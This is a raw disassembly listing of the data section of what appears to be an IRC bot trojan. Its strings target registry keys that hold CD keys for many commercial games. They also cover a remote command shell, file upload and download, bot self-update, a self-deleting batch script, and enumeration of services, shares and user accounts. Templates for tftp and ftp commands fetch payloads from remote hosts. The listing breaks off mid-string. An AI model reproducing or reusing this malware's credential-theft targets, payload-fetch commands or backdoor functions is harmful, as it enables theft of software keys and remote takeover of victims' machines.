aSoftwareElectr db 'Software\Electronic Arts\EA Distribution\Freedom Force\ergc',0 aFreedomForce db 'Freedom Force',0 align 4 aSoftwareElec_0 db 'Software\Electronic Arts\EA GAMES\Battlefield 1942\ergc',0 aBattlefield194 db 'Battlefield 1942',0 align 10h aSoftwareElec_1 db 'Software\Electronic Arts\EA GAMES\Battlefield 1942 The Road to Ro' db 'me\ergc',0 align 4 aBattlefield1_0 db 'Battlefield 1942 (Road To Rome)',0 align 10h aSoftwareElec_2 db 'Software\Electronic Arts\EA GAMES\Battlefield 1942 Secret Weapons' db ' of WWII\ergc',0 align 10h aBattlefield1_1 db 'Battlefield 1942 (Secret Weapons of WWII)',0 align 4 aSoftwareElec_3 db 'Software\Electronic Arts\EA GAMES\Battlefield Vietnam\ergc',0 align 4 aBattlefieldVie db 'Battlefield Vietnam',0 aSoftwareElec_4 db 'Software\Electronic Arts\EA GAMES\Black and White\ergc',0 align 4 aBlackAndWhite db 'Black and White',0 align 8 aSoftwareElec_5 db 'Software\Electronic Arts\EA GAMES\Command and Conquer Generals Ze' db 'ro Hour\ergc',0 align 4 aCommandAndConq db 'Command and Conquer: Generals (Zero Hour)',0 align 8 aSoftwareElec_6 db 'Software\Electronic Arts\EA GAMES\James Bond 007 Nightfire\ergc',0 aJamesBond007Ni db 'James Bond 007: Nightfire',0 align 4 aSoftwareElec_7 db 'Software\Electronic Arts\EA GAMES\Generals\ergc',0 aCommandAndCo_0 db 'Command and Conquer: Generals',0 align 4 aSoftwareElec_8 db 'Software\Electronic Arts\EA GAMES\Global Operations\ergc',0 align 10h aGlobalOperatio db 'Global Operations',0 align 8 aSoftwareElec_9 db 'Software\Electronic Arts\EA GAMES\Medal of Honor Allied Assault\e' db 'rgc',0 align 10h aMedalOfHonorAl db 'Medal of Honor: Allied Assault',0 align 10h aSoftwareEle_10 db 'Software\Electronic Arts\EA GAMES\Medal of Honor Allied Assault B' db 'reakthrough\ergc',0 align 4 aMedalOfHonor_0 db 'Medal of Honor: Allied Assault: Breakthrough',0 align 8 aSoftwareEle_11 db 'Software\Electronic Arts\EA GAMES\Medal of Honor Allied Assault S' db 'pearhead\ergc',0 align 4 aMedalOfHonor_1 db 'Medal of Honor: Allied Assault: Spearhead',0 align 4 aSoftwareEle_12 db 'Software\Electronic Arts\EA GAMES\Need For Speed Hot Pursuit 2',0 align 4 aErgc db 'ergc',0 align 4 aNeedForSpeedHo db 'Need For Speed Hot Pursuit 2',0 align 10h aSoftwareEle_13 db 'Software\Electronic Arts\EA GAMES\Need For Speed Underground\ergc' db 0 align 4 aNeedForSpeedUn db 'Need For Speed: Underground',0 aSoftwareEle_14 db 'Software\Electronic Arts\EA GAMES\Shogun Total War - Warlord Edit' ; DATA XREF: .data:00442B6Aw db 'ion\ergc',0 align 4 aShogunTotalWar db 'Shogun: Total War: Warlord Edition',0 ; DATA XREF: .data:00442B74o align 10h aSoftwareEle_15 db 'Software\Electronic Arts\EA Sports\FIFA 2002\ergc',0 ; DATA XREF: .data:00442B82w align 4 aFifa2002 db 'FIFA 2002',0 ; DATA XREF: .data:00442B8Co align 10h aSoftwareEle_16 db 'Software\Electronic Arts\EA Sports\FIFA 2003\ergc',0 align 4 aFifa2003 db 'FIFA 2003',0 align 10h aSoftwareEle_17 db 'Software\Electronic Arts\EA Sports\NHL 2002\ergc',0 align 4 aNhl2002 db 'NHL 2002',0 align 10h aSoftwareEle_18 db 'Software\Electronic Arts\EA Sports\NHL 2003\ergc',0 align 4 aNhl2003 db 'NHL 2003',0 align 10h aSoftwareEle_19 db 'Software\Electronic Arts\EA Sports\Nascar Racing 2002\ergc',0 align 4 aNascarRacing20 db 'Nascar Racing 2002',0 align 10h aSoftwareEle_20 db 'Software\Electronic Arts\EA Sports\Nascar Racing 2003\ergc',0 align 4 aNascarRacing_0 db 'Nascar Racing 2003',0 align 10h aSoftwareRedSto db 'Software\Red Storm Entertainment\RAVENSHIELD',0 align 10h aCdkey_4 db 'CDKey',0 align 4 aRainbowSixIiiR db 'Rainbow Six III RavenShield',0 aSoftwareWestwo db 'Software\Westwood\Tiberian Sun',0 align 4 aSerial db 'Serial',0 align 4 aCommandAndCo_1 db 'Command and Conquer: Tiberian Sun',0 align 10h aSoftwareWest_0 db 'Software\Westwood\Red Alert',0 aSerial_0 db 'Serial',0 align 4 aCommandAndCo_2 db 'Command and Conquer: Red Alert',0 align 4 aSoftwareWest_1 db 'Software\Westwood\Red Alert 2',0 align 4 aSerial_1 db 'Serial',0 align 4 aCommandAndCo_3 db 'Command and Conquer: Red Alert 2',0 align 10h aSoftwareWest_2 db 'Software\Westwood\NOX',0 align 4 aSerial_2 db 'Serial',0 align 10h aNox db 'NOX',0 aSoftwareTechla db 'Software\Techland\Chrome',0 align 10h aSerialnumber db 'SerialNumber',0 align 10h aChrome db 'Chrome',0 align 4 aSoftwareIllusi db 'Software\Illusion Softworks\Hidden & Dangerous 2',0 align 4 aKey_2 db 'key',0 aHiddenDangerou db 'Hidden & Dangerous 2',0 align 4 aSoftwareActivi db 'Software\Activision\Soldier of Fortune II - Double Helix',0 align 4 aInstallpath db 'InstallPath',0 aSoldierOfFortu db 'Soldier of Fortune II - Double Helix',0 align 4 aBaseMpSof2key db 'base\mp\sof2key',0 aMtkwftmkemfew3 db 'mtkwftmkemfew3p3b7',0 align 4 aSoftwareBiowar db 'Software\BioWare\NWN\Neverwinter',0 align 10h aLocation db 'Location',0 align 4 aNeverwinterNig db 'Neverwinter Nights',0 align 10h aNwncdkey_ini db 'nwncdkey.ini',0 align 10h aKey1 db 'Key1=',0 align 4 aSoftwareBiow_0 db 'Software\BioWare\NWN\Neverwinter',0 align 4 aLocation_0 db 'Location',0 align 4 aNeverwinterN_0 db 'Neverwinter Nights (Shadows of Undrentide)',0 align 4 aNwncdkey_ini_0 db 'nwncdkey.ini',0 align 4 aKey2 db 'Key2=',0 align 4 aSoftwareBiow_1 db 'Software\BioWare\NWN\Neverwinter',0 align 10h aLocation_1 db 'Location',0 align 4 aNeverwinterN_1 db 'Neverwinter Nights (Hordes of the Underdark)',0 align 4 aNwncdkey_ini_1 db 'nwncdkey.ini',0 align 4 aKey3 db 'Key3=',0 align 8 dd 80000001h off_4428FC dd offset aSoftwareValveC ; DATA XREF: sub_410279+Cr ; sub_410279+21o ; "Software\\Valve\\CounterStrike\\Settings" dd offset aCdkey ; "CDKey" dd offset aCounterStrikeR ; "Counter-Strike (Retail)" dword_442908 dd 2 dup(0) dd 80000001h, 441A90h, 441AB8h, 441AC4h, 2 dup(0) dd 80000001h, 441AD4h, 441AF4h, 441AF8h, 2 dup(0) dd 80000001h, 441B0Ch, 441B30h, 441B34h, 2 dup(0) dd 80000001h, 441B40h, 441B64h, 441B6Ch, 2 dup(0) dd 80000001h, 441B80h, 441B94h, 441BA4h, 2 dup(0) dd 80000001h, 441BC0h, 441C04h, 441C0Ch, 2 dup(0) dd 80000002h, 441C20h, 441C4Ch, 441C58h, 2 dup(0) dd 80000002h, 441C78h, 441CACh, 441CB4h, 2 dup(0) dd 80000002h, 441CCCh, 441D00h, 441D08h, 2 dup(0) dd 80000002h, 441D20h, 441D38h, 441D40h, 2 dup(0) dd 80000002h, 441D58h, 4DD3B4h, 441D94h, 2 dup(0) dd 80000002h, 441DA4h, 4DD3B5h, 441DDCh, 2 dup(0) dd 80000002h, 441DF0h, 4DD3B6h, 441E3Ch, 2 dup(0) dd 80000002h, 441E60h, 4DD3B7h, 441EB0h, 2 dup(0) dd 80000002h, 441EDCh, 4DD3B8h, 441F18h, 2 dup(0) dd 80000002h, 441F2Ch, 4DD3B9h, 441F64h, 2 dup(0) dd 80000002h, 441F78h, 4DD3BAh, 441FC8h, 2 dup(0) dd 80000002h, 441FF8h, 4DD3BBh, 442038h, 2 dup(0) dd 80000002h, 442054h, 4DD3BCh, 442084h, 2 dup(0) dd 80000002h, 4420A4h, 4DD3BDh, 4420E0h, 2 dup(0) dd 80000002h, 4420F8h, 4DD3BEh, 442140h, 2 dup(0) dd 80000002h, 442160h, 4DD3BFh, 4421B4h, 2 dup(0) dd 80000002h, 4421E8h, 4DD3C0h, 442238h, 2 dup(0) dd 80000002h, 442264h, 4422A4h, 4422ACh, 2 dup(0) dd 80000002h, 4422D0h, 4DD3C1h, 442314h, 2 dup(0) ; --------------------------------------------------------------------------- add al, [eax] add byte ptr aSoftwareEle_14[eax], al ; "Software\\Electronic Arts\\EA GAMES\\Shogu"... retn 4DD3h ; --------------------------------------------------------------------------- align 4 dd offset aShogunTotalWar ; "Shogun: Total War: Warlord Edition" align 10h add al, [eax] add byte ptr aSoftwareEle_15[eax], al ; "Software\\Electronic Arts\\EA Sports\\FIFA"... retn ; --------------------------------------------------------------------------- db 0D3h, 4Dh, 0 dd offset aFifa2002 ; "FIFA 2002" dd 2 dup(0) dd 80000002h, 4423E0h, 4DD3C4h, 442414h, 2 dup(0) dd 80000002h, 442420h, 4DD3C5h, 442454h, 2 dup(0) dd 80000002h, 442460h, 4DD3C6h, 442494h, 2 dup(0) dd 80000002h, 4424A0h, 4DD3C7h, 4424DCh, 2 dup(0) dd 80000002h, 4424F0h, 4DD3C8h, 44252Ch, 2 dup(0) dd 80000002h, 442540h, 442570h, 442578h, 2 dup(0) dd 80000002h, 442594h, 4425B4h, 4425BCh, 2 dup(0) dd 80000002h, 4425E0h, 4425FCh, 442604h, 2 dup(0) dd 80000002h, 442624h, 442644h, 44264Ch, 2 dup(0) dd 80000002h, 442670h, 442688h, 442690h, 2 dup(0) dd 80000002h, 442694h, 4426B0h, 4426C0h, 2 dup(0) dd 80000002h, 4426C8h, 4426FCh, 442700h, 2 dup(0) dd 80000002h, 442718h, 442754h, 442760h, 442788h, 442798h dd 80000002h, 4427ACh, 4427D0h, 4427DCh, 4427F0h, 442800h dd 80000002h, 442808h, 44282Ch, 442838h, 442864h, 442874h dd 80000002h, 44287Ch, 4428A0h, 4428ACh, 4428DCh, 4428ECh dd 6 dup(0) dword_442D30 dd 255C7325h aSr: ; DATA XREF: sub_410279+8Ao ; sub_410279+E1o ... unicode 0, <sr==> dword_442D3C dd 234032Dh, 656B6463h, 3027379h, 7325202Dh, 7325203Ah ; DATA XREF: sub_410279+101o dd 0 dword_442D54 dd 234032Dh, 656B6463h, 3027379h, 7325202Dh, 7325203Ah ; DATA XREF: sub_410279+11Bo dd 0 dword_442D6C dd 234032Dh, 656B6463h, 3027379h, 7325202Dh, 7325203Ah ; DATA XREF: sub_410279+167o dd 0 unk_442D84 db 2Dh ; - ; DATA XREF: sub_4104B2+47o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToOpenSo db '- failed to open socket',0 align 4 unk_442DA8 db 2Dh ; - ; DATA XREF: sub_4104B2+ABo db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToOpenRe db '- failed to open remote command shell',0 align 4 asc_442DD8: ; DATA XREF: sub_4104B2+138o dw 0Ah unicode 0, <>,0 unk_442DDC db 2Dh ; - ; DATA XREF: sub_4104B2+170o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToSendTo db '- failed to send to Remote command shell',0 align 10h unk_442E10 db 2Dh ; - ; DATA XREF: sub_410673+44o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToCrea_3 db '- failed to create socket',0 align 4 unk_442E34 db 2Dh ; - ; DATA XREF: sub_410673+82o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToBindTo db '- failed to bind to socket',0 unk_442E58 db 2Dh ; - ; DATA XREF: sub_410673+FDo db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToOpen_0 db '- failed to open socket',0 align 4 unk_442E7C db 2Dh ; - ; DATA XREF: sub_410673+127o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFileDoesnTExis db '- file doesn',27h,'t exist',0 align 4 dword_442E9C dd 43434401h, 4E455320h, 73252044h, 20692520h, 25206925h ; DATA XREF: sub_410673+16Ao dd 169h dword_442EB4 dd 234032Dh, 2636364h, 73202D03h, 20646E65h, 656D6974h ; DATA XREF: sub_410673+1CBo dd 74756Fh unk_442ECC db 2Dh ; - ; DATA XREF: sub_410673+202o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aUnableToOpenSo db '- unable to open socket',0 align 10h unk_442EF0 db 2Dh ; - ; DATA XREF: sub_410673+2FAo db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFileSSentToSSB db '- file %s sent to %s (%s bytes).',0 align 4 dword_442F1C dd 234032Dh, 2636364h, 73202D03h, 656B636Fh, 72652074h ; DATA XREF: sub_410673+36Bo dd 726F72h dword_442F34 dd 234032Dh, 2636364h, 73202D03h, 656B636Fh, 72652074h ; DATA XREF: sub_410673+37Co dd 726F72h dword_442F4C dd 73257325h, 0 unk_442F54 db 2Dh ; - ; DATA XREF: sub_410A18+83o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aErrorUnableToW db '- error unable to write file to disk',0 align 4 aAB db 'a+b',0 ; DATA XREF: sub_410A18+97o unk_442F88 db 2Dh ; - ; DATA XREF: sub_410A18+ABo db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aErrorOpeningFi db '- error opening file for writing',0 align 4 unk_442FB4 db 2Dh ; - ; DATA XREF: sub_410A18+CBo db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aErrorOpeningSo db '- error opening socket',0 dword_442FD4 dd 234032Dh, 2636364h, 73202D03h, 656B636Fh, 72652074h ; DATA XREF: sub_410A18+156o dd 726F72h unk_442FEC db 2Dh ; - ; DATA XREF: sub_410A18+1CFo db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aReceivedSFromS db '- received %s from %s (%s bytes).',0 align 4 unk_443018 db 2Dh ; - ; DATA XREF: sub_410C53+77o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aCouldnTOpenF_0 db 'couldn',27h,'t open file: %s',0 align 10h unk_443040 db 2Dh ; - ; DATA XREF: sub_410C53+191o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aDownloadedSDkb db 'downloaded %s (%dKB)',0 align 4 unk_443068 db 2Dh ; - ; DATA XREF: sub_410C53:loc_410DEBo db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aGotUpdateSDkb_ db 'got update %s (%dKB).',0 align 10h unk_443090 db 2Dh ; - ; DATA XREF: sub_410C53+1CDo db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aWrongFilesizeD db 'wrong filesize (%d != %d).',0 align 4 unk_4430BC db 2Dh ; - ; DATA XREF: sub_410C53+257o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aWrongCrcDD_ db 'wrong crc (%d != %d).',0 align 4 unk_4430E4 db 2Dh ; - ; DATA XREF: sub_410C53+2D6o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aDownloaded_1fK db 'downloaded %.1f KB to %s @ %.1f KB/sec',0 align 4 aOpen_2 db 'open',0 ; DATA XREF: sub_410C53+32Bo align 4 dword_443124 dd 234032Dh, 6E776F64h, 64616F6Ch, 202D0302h, 6E65706Fh ; DATA XREF: sub_410C53+34Do dd 25206465h, 73h unk_443140 db 2Dh ; - ; DATA XREF: sub_410C53+3B6o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aDownloaded_1fk db 'downloaded %.1fKB to %s @ %.1fKB/sec, updating bot',0 align 4 unk_443184 db 2Dh ; - ; DATA XREF: sub_410C53+472o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aUpdateFailedEr db 'update failed, error executing %s',0 align 4 unk_4431B8 db 2Dh ; - ; DATA XREF: sub_410C53+480o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aBadUrlOrDnsErr db 'bad url or dns error at %s.',0 a?: ; DATA XREF: sub_4111E7+1Fo unicode 0, <?>,0 off_4431E8 dd offset word_4D4152 ; DATA XREF: sub_4111E7:loc_41120Co aCdrom db 'Cdrom',0 ; DATA XREF: sub_4111E7:loc_411212o align 4 aNetwork db 'Network',0 ; DATA XREF: sub_4111E7:loc_411218o aDisk db 'Disk',0 ; DATA XREF: sub_4111E7:loc_41121Eo align 4 aInvalid db 'Invalid',0 ; DATA XREF: sub_4111E7:loc_411224o aUnknown_0 db 'Unknown',0 ; DATA XREF: sub_4111E7:loc_41122Ao aSkb db '%sKB',0 ; DATA XREF: sub_411278+70o align 4 aSkb_0 db '%sKB',0 ; DATA XREF: sub_411278+9Bo align 4 aSkb_1 db '%sKB',0 ; DATA XREF: sub_411278+C6o align 4 aFailed db 'failed',0 ; DATA XREF: sub_411278+E0o align 4 aFailed_0 db 'failed',0 ; DATA XREF: sub_411278+F1o align 4 aFailed_1 db 'failed',0 ; DATA XREF: sub_411278+102o align 4 aFailed_2 db 'failed',0 ; DATA XREF: sub_41139C+3Bo align 4 unk_44324C db 2Dh ; - ; DATA XREF: sub_41139C+58o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aSDriveSFailedT db '%s drive (%s): failed to stat, device not ready',0 unk_443288 db 2Dh ; - ; DATA XREF: sub_41139C+8Eo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aSDriveSSTotalS db '%s drive (%s): %s total, %s free, %s available',0 align 4 aA_2 db 'A:\',0 ; DATA XREF: sub_41146E:loc_4114B3o unk_4432C8 db 2Dh ; - ; DATA XREF: sub_4114F1+5Co db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 66h ; f db 69h, 6Ch, 65h db 2 db 3, 2Dh, 20h aSearchingFor_0 db 'searching for file %s',0 align 10h dword_4432F0 dd 234032Dh, 646E6966h, 656C6966h, 202D0302h, 6E756F66h ; DATA XREF: sub_4114F1+C5o dd 64252064h, 6C696620h, 7365h dword_443310 dd 2A5C7325h, 0 dword_443318 dd 255C7325h, 73hdword_443320 dd 255C7325h, 73hdword_443328 dd 234032Dh, 646E6966h, 656C6966h, 202D0302h, 6E756F66h ; DATA XREF: sub_411609+107o dd 73252064h, 73255Ch, 0 dword_443348 dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0 dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dword_443394 dd 3000005h, 10h, 18h, 1, 3 dup(0); --------------------------------------------------------------------------- loc_4433B0: ; DATA XREF: sub_41178F+118o mov al, 1 push edx xchg eax, edi retf 0D059h ; --------------------------------------------------------------------------- db 11h dd 0A000D5A8h, 51800DC9h, 0 dword_4433C4 dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0 ; DATA XREF: sub_41178F+13Fo aSErrorSD_ db '%s Error: %s <%d>.',0 ; DATA XREF: sub_411B50+72o align 4 aMirc_2 db 'mIRC',0 ; DATA XREF: sub_411C15+5o align 4 aMirc_3 db 'mIRC',0 ; DATA XREF: sub_411C15+18o align 4 aExplorer_exe db 'explorer.exe',0 ; DATA XREF: sub_411C9A+1Co align 4 aSS_5 db '%s %s',0 ; DATA XREF: .data:00411D80o align 4 aSeshutdownpriv db 'SeShutdownPrivilege',0 ; DATA XREF: sub_411DBC+2o aSdel_bat db '%sdel.bat',0 ; DATA XREF: sub_411DDE+48o align 8 a@echoOffRepeat db '@echo off',0Dh,0Ah ; DATA XREF: sub_411DDE+85o db ':repeat',0Dh,0Ah db 'del "%%1"',0Dh,0Ah db 'if exist "%%1" goto repeat',0Dh,0Ah db 'del "%s"',0 aComspecCSS db '%%comspec%% /c %s %s',0 ; DATA XREF: sub_411DDE+140o align 4 dword_443494 dd 234032Dh, 2676F6Ch, 25202D03h, 6F6C2073h, 6C632067h ; DATA XREF: sub_411F66+5Co dd 65726165h, 64h unk_4434B0 db 2Dh ; - ; DATA XREF: sub_411F66+8Fo db 3, 34h, 2 db 6Ch ; l db 6Fh, 67h, 2 db 3 aFailedWithErro db '- failed with error code %d',0 align 4 unk_4434D8 db 2Dh ; - ; DATA XREF: sub_411F66+9Co db 3, 34h, 2 db 6Ch ; l db 6Fh, 67h, 2 db 3 aOperatingSyste db '- operating system is not supported',0 align 4 aTftpISGetSS db 'tftp -i %s get %s &%s',0Dh,0Ah,0 ; DATA XREF: .data:004120C6o aEchoOpenSDOE_0 db 'echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &echo qu' ; DATA XREF: .data:004120EFo db 'it >> o &ftp -n -s:o &%s',0Dh,0Ah,0 aNetapi32_dll_0 db 'netapi32.dll',0 ; DATA XREF: sub_412159+47o align 4 aNetmessagebu_0 db 'NetMessageBufferSend',0 ; DATA XREF: sub_412159+54o align 8 aAdd db 'Add',0 ; DATA XREF: .data:off_443620o aAdded db 'Added',0 ; DATA XREF: .data:off_443624o align 4 aDelete_1 db 'Delete',0 ; DATA XREF: .data:0044362Co align 4 aDeleted db 'Deleted',0 ; DATA XREF: .data:00443630o aList_1 db 'List',0 ; DATA XREF: .data:00443638o align 4 aListed db 'Listed',0 ; DATA XREF: .data:0044363Co align 4 aStart_0 db 'Start',0 ; DATA XREF: .data:00443644o align 4 aStarted db 'Started',0 ; DATA XREF: .data:00443648o aStop_0 db 'Stop',0 ; DATA XREF: .data:00443650o align 4 aStopped_0 db 'Stopped',0 ; DATA XREF: .data:00443654o aPause_0 db 'Pause',0 align 4 aPaused_0 db 'Paused',0 align 4 aContinue_0 db 'Continue',0 align 10h aContinued db 'Continued',0 align 10h off_443620 dd offset aAdd ; DATA XREF: sub_412280+6Dr ; sub_412667+50r ... ; "Add" off_443624 dd offset aAdded ; DATA XREF: sub_412280+2Dr ; sub_412667+82r ... ; "Added" dword_443628 dd 0 dd offset aDelete_1 ; "Delete" dd offset aDeleted ; "Deleted" align 8 dd offset aList_1 ; "List" dd offset aListed ; "Listed" dd 0 dd offset aStart_0 ; "Start" dd offset aStarted ; "Started" align 10h dd offset aStop_0 ; "Stop" dd offset aStopped_0 ; "Stopped" dd 1, 4435F4h, 4435FCh, 2, 443604h, 443610h, 3 unk_443674 db 2Dh ; - ; DATA XREF: sub_412280+38o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSServiceS db '- %s service: ',27h,'%s',27h,0 unk_443690 db 2Dh ; - ; DATA XREF: sub_412280+55o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aErrorWithServi db '- error with service: ',27h,'%s',27h,' - %s',0 align 4 unk_4436BC db 2Dh ; - ; DATA XREF: sub_412280+74o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSNoServiceSpec db '- %s: no service specified',0 aTheSpecifiedSe db 'The specified service name is invalid.',0 ; DATA XREF: sub_4123A9+3Co align 4 aTheRequestedCo db 'The requested control code is undefined.',0 ; DATA XREF: sub_4123A9:loc_4123EFo align 4 aTheHandleIsInv db 'The handle is invalid.',0 ; DATA XREF: sub_4123A9:loc_4123F9o align 4 aTheHandleDoesN db 'The handle does not have the required access right.',0 ; DATA XREF: sub_4123A9:loc_412403o aTheServiceBina db 'The service binary file could not be found.',0 ; DATA XREF: sub_4123A9:loc_41240Do align 10h aTheServiceCann db 'The service cannot be stopped because other running services are ' ; DATA XREF: sub_4123A9:loc_412417o db 'dependent on it.',0 align 4 aTheDatabaseIsL db 'The database is locked.',0 ; DATA XREF: sub_4123A9+8Fo aAThreadCouldNo db 'A thread could not be created for the service.',0 ; DATA XREF: sub_4123A9:loc_412442o align 10h aTheProcessForT db 'The process for the service was started, but it did not call Star' ; DATA XREF: sub_4123A9:loc_412449o db 'tServiceCtrlDispatcher.',0 align 10h aTheRequested_0 db 'The requested control code is not valid, or it is unacceptable to' ; DATA XREF: sub_4123A9:loc_412450o db ' the service.',0 align 10h aAnInstanceOfTh db 'An instance of the service is already running.',0 ; DATA XREF: sub_4123A9:loc_412457o align 10h aTheSpecifiedDa db 'The specified database does not exist.',0 ; DATA XREF: sub_4123A9:loc_412482o align 4 aTheServiceDepe db 'The service depends on a service that does not exist or has been ' ; DATA XREF: sub_4123A9:loc_412489o db 'marked for deletion.',0 align 10h aTheServiceDe_0 db 'The service depends on another service that has failed to start.',0 ; DATA XREF: sub_4123A9:loc_412490o align 4 aTheServiceHasB db 'The service has been disabled.',0 ; DATA XREF: sub_4123A9:loc_412497o align 4 aTheSpecified_0 db 'The specified service does not exist.',0 ; DATA XREF: sub_4123A9:loc_41249Eo align 10h aTheServiceCoul db 'The service could not be logged on. The account does not have the' ; DATA XREF: sub_4123A9:loc_4124A5o db ' correct access rights.',0 align 4 aTheServiceHa_0 db 'The service has been marked for deletion.',0 ; DATA XREF: sub_4123A9:loc_4124ACo align 4 aTheRequested_1 db 'The requested control code cannot be sent to the service because ' ; DATA XREF: sub_4123A9:loc_4124B3o db 'the state of the service.',0 align 4 aTheServiceHasN db 'The service has not been started.',0 ; DATA XREF: sub_4123A9:loc_4124BAo align 4 aTheSystemIsShu db 'The system is shutting down.',0 ; DATA XREF: sub_4123A9:loc_4124C1o align 4 aAnUnknownError db 'An unknown error occurred: <%ld>',0 ; DATA XREF: sub_4123A9+12Co align 4 aTheFollowingWi db 'The following Windows services are registered:',0 ; DATA XREF: sub_412527+25o align 4 aUnknown db ' Unknown',0 ; DATA XREF: sub_412527+9Eo aPaused db ' Paused',0 ; DATA XREF: sub_412527:loc_4125CCo aPausing db ' Pausing',0 ; DATA XREF: sub_412527:loc_4125D3o aContinuing db ' Continuing',0 ; DATA XREF: sub_412527:loc_4125DAo aRunning db ' Running',0 ; DATA XREF: sub_412527:loc_4125E1o aStoping db ' Stoping',0 ; DATA XREF: sub_412527:loc_4125E8o aStarting db ' Starting',0 ; DATA XREF: sub_412527:loc_4125EFo aStopped db ' Stopped',0 ; DATA XREF: sub_412527:loc_4125F6o aSSS_0 db '%s: %s (%s)',0 ; DATA XREF: sub_412527+EEo unk_443C28 db 2Dh ; - ; DATA XREF: sub_412667+57o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSErrorWithShar db '- %s: error with share: ',27h,'%s',27h,' - %s',0 align 4 dword_443C54 dd 234032Dh, 274656Eh, 25202D03h, 68732073h, 3A657261h ; DATA XREF: sub_412667+89o dd 73252720h, 27h unk_443C70 db 2Dh ; - ; DATA XREF: sub_412667+ABo db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSNoShareSpecif db '- %s: no share specified',0 align 4 aShareNameResou db 'Share name: Resource: Uses: Desc:',0 ; DATA XREF: sub_41285C+26o align 4 unk_443CCC db 2Dh ; - ; DATA XREF: sub_41285C+76o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aShareListError db '- share list error %s <%ld>',0 align 4 aYes db 'Yes',0 ; DATA XREF: sub_41285C+B5o aNo db 'No',0 ; DATA XREF: sub_41285C+BCo align 4 a14s24s6u4s db '%-14S %-24S %-6u %-4s',0 ; DATA XREF: sub_41285C+D0o align 4 unk_443D14 db 2Dh ; - ; DATA XREF: sub_41297D+6Do db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSUsernameS db '- %s username: ',27h,'%s',27h,0 align 4 unk_443D34 db 2Dh ; - ; DATA XREF: sub_41297D+94o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSErrorWithUser db '- %s: error with username: ',27h,'%s',27h,' - %s',0 align 4 unk_443D64 db 2Dh ; - ; DATA XREF: sub_41297D+B6o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSNoUsernameSpe db '- %s: no username specified',0 align 4 aAccountS db 'Account: %S',0 ; DATA XREF: sub_412AC3+50o aFullNameS db 'Full Name: %S',0 ; DATA XREF: sub_412AC3+81o align 4 aUserCommentS db 'User Comment: %S',0 ; DATA XREF: sub_412AC3+ACo align 4 aCommentS db 'Comment: %S',0 ; DATA XREF: sub_412AC3+D4o aUnknown_1 db 'Unknown',0 ; DATA XREF: sub_412AC3+104o aAdministrato_0 db 'Administrator',0 ; DATA XREF: sub_412AC3:loc_412BCEo align 10h aUser_3 db 'User',0 ; DATA XREF: sub_412AC3:loc_412BD5o align 4 aGuest_0 db 'Guest',0 ; DATA XREF: sub_412AC3:loc_412BDCo align 10h aPrivilegeLevel db 'Privilege Level: %s',0 ; DATA XREF: sub_412AC3+125o aAuthFlagsD db 'Auth Flags: %d',0 ; DATA XREF: sub_412AC3+14Do align 4 aHomeDirectoryS db 'Home Directory: %S',0 ; DATA XREF: sub_412AC3+178o align 4 aParametersS db 'Parameters: %S',0 ; DATA XREF: sub_412AC3+1A0o align 4 aPasswordAgeD db 'Password Age: %d',0 ; DATA XREF: sub_412AC3+1CBo align 4 aBadPasswordCou db 'Bad Password Count: %d',0 ; DATA XREF: sub_412AC3+1F3o align 4 aNumberOfLogins db 'Number of Logins: %d',0 ; DATA 